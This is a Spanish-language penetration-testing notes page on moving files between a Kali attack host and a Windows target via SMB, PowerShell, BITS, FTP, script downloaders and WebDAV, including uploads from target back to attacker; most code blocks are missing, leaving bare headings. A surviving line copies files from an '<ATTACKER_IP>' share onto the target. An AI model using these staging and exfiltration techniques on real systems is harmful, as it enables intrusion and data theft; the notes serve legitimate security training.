File Transfer

Verify correct file content after transfer

# Kali Linux
 md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819  <file_name>

# PowerShell
╭╴at  ~\Desktop
╰─ Get-FileHash  C:\Users\gzzcoo\Desktop\shell.sh -Algorithm md5

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
MD5             E7F7D2522CC7FDEC3E6CC2C1E2F20819                                       C:\Users\gzzcoo\Desktop\shell.sh

Download Operations

SMB Server

# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support

# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy \\<ATTACKER_IP>\smbFolder\archivo.txt C:\path\destination\archivo.txt

Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:

Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:


Certutil.exe


PowerShell Download Operations

Disponemos de diversas maneras de realizar una transferencias de archivos hacía la máquina objetivo a través de PowerShell.

PowerShell


Bitsadmin Download Function

El servicio Background Intelligent Transfer Service (BITS) puede usarse para descargar archivos desde sitios HTTP o recursos compartidos SMB. Este servicio tiene la ventaja de que descarga los archivos de forma "inteligente", tomando en cuenta la carga de la red y del sistema para minimizar el impacto en el trabajo del usuario.

File Download with BitsAdmin

PowerShell + BITS


Curl


Wget


FTP Downloads

Otra forma de transferir archivos es mediante FTP (File Transfer Protocol), que utiliza los puertos TCP/21 y TCP/20. Podemos utilizar el cliente FTP o PowerShell Net.WebClient para descargar archivos desde un servidor FTP.

Podemos configurar un servidor FTP en nuestro host de ataque utilizando el módulo pyftpdlib de Python3. Se puede instalar con el siguiente comando:

Luego podemos especificar el puerto número 21 porque, de forma predeterminada, pyftpdlib usa el puerto 2121. La autenticación anónima está habilitada de forma predeterminada si no configuramos un usuario y una contraseña.

Una vez configurado el servidor FTP, podemos realizar transferencias de archivos utilizando el cliente FTP preinstalado desde Windows o PowerShell Net.WebClient.

Create a Command File for the FTP Client and Download the Target File


JavaScript

JavaScript es un lenguaje de programación que permite implementar funciones complejas en páginas web. Al igual que con otros lenguajes de programación, podemos usarlo para muchas cosas diferentes.

El siguiente código JavaScript se basa en esta publicación y podemos descargar un archivo que lo utilice. Crearemos un archivo llamado wget.js y guardaremos el siguiente contenido:

Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código JavaScript y descargar un archivo.

Download a File Using JavaScript and cscript.exe


VBScript

VBScript ("Microsoft Visual Basic Scripting Edition") es un lenguaje Active Scripting desarrollado por Microsoft que sigue el modelo de Visual Basic. VBScript se ha instalado de forma predeterminada en todas las versiones de escritorio de Microsoft Windows desde Windows 98.

El siguiente ejemplo de VBScript se puede utilizar en base a esto. Crearemos un archivo llamado wget.vbs y guardaremos el siguiente contenido:

Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código VBScript y descargar un archivo.

Download a File Using VBScript and cscript.exe


Upload Operations

PowerShell Upload Operations

Disponemos de diversas maneras de realizar una transferencias de archivos de la máquina objetivo hacía la nuestra a través de PowerShell.

PowerShell


SMB Uploads

SMB Server

Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:

Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:

WebDAV

Anteriormente discutimos que las empresas suelen permitir el tráfico saliente a través de los protocolos HTTP (TCP/80) y HTTPS (TCP/443). Normalmente, las empresas no permiten el protocolo SMB (TCP/445) fuera de su red interna, ya que esto podría exponerlas a posibles ataques. Para más información sobre esto, podemos leer la publicación de Microsoft Preventing SMB traffic from lateral connections and entering or leaving the network.

Una alternativa es ejecutar SMB sobre HTTP con WebDAV. WebDAV (RFC 4918) es una extensión de HTTP, el protocolo de Internet que utilizan los navegadores y servidores web para comunicarse entre sí. El protocolo WebDAV permite que un servidor web funcione como un servidor de archivos, admitiendo la creación colaborativa de contenido. WebDAV también puede usar HTTPS.

Cuando se usa SMB, primero intentará conectarse mediante el protocolo SMB y, si no encuentra un recurso compartido SMB disponible, intentará conectarse a través de HTTP. En la siguiente captura de Wireshark, intentamos conectarnos al recurso compartido testing3 y, como no encontró nada con SMB, utilizó HTTP.

1 - Configuring WebDav Server

Para configurar nuestro servidor WebDav, necesitamos instalar dos módulos de Python: wsgidav y cheroot (puedes leer más sobre esta implementación aquí: wsgidav GitHub). Después de instalarlos, ejecutamos la aplicación wsgidav en el directorio objetivo.

2 - Installing WebDav Python modules

3 - Using the WebDav Python module

4 - Connecting to the Webdav Share

Ahora podemos intentar conectarnos al recurso compartido utilizando el directorio DavWWWRoot. Desde CMD.

Otro método desde PowerShell.

Comprobar que podemos listar la unidad que se nos ha asignado.

5 - Uploading Files using SMB


FTP Uploads

Subir archivos usando FTP es muy similar a descargar archivos. Podemos usar PowerShell o el cliente FTP para realizar la operación. Antes de iniciar nuestro servidor FTP utilizando el módulo de Python pyftpdlib, necesitamos especificar la opción --write para permitir que los clientes suban archivos a nuestro host de ataque.

Ahora usemos la función de carga de PowerShell para subir un archivo a nuestro servidor FTP.

PowerShell Upload File

Create a Command File for the FTP Client to Upload a File

Última actualización

¿Te fue útil?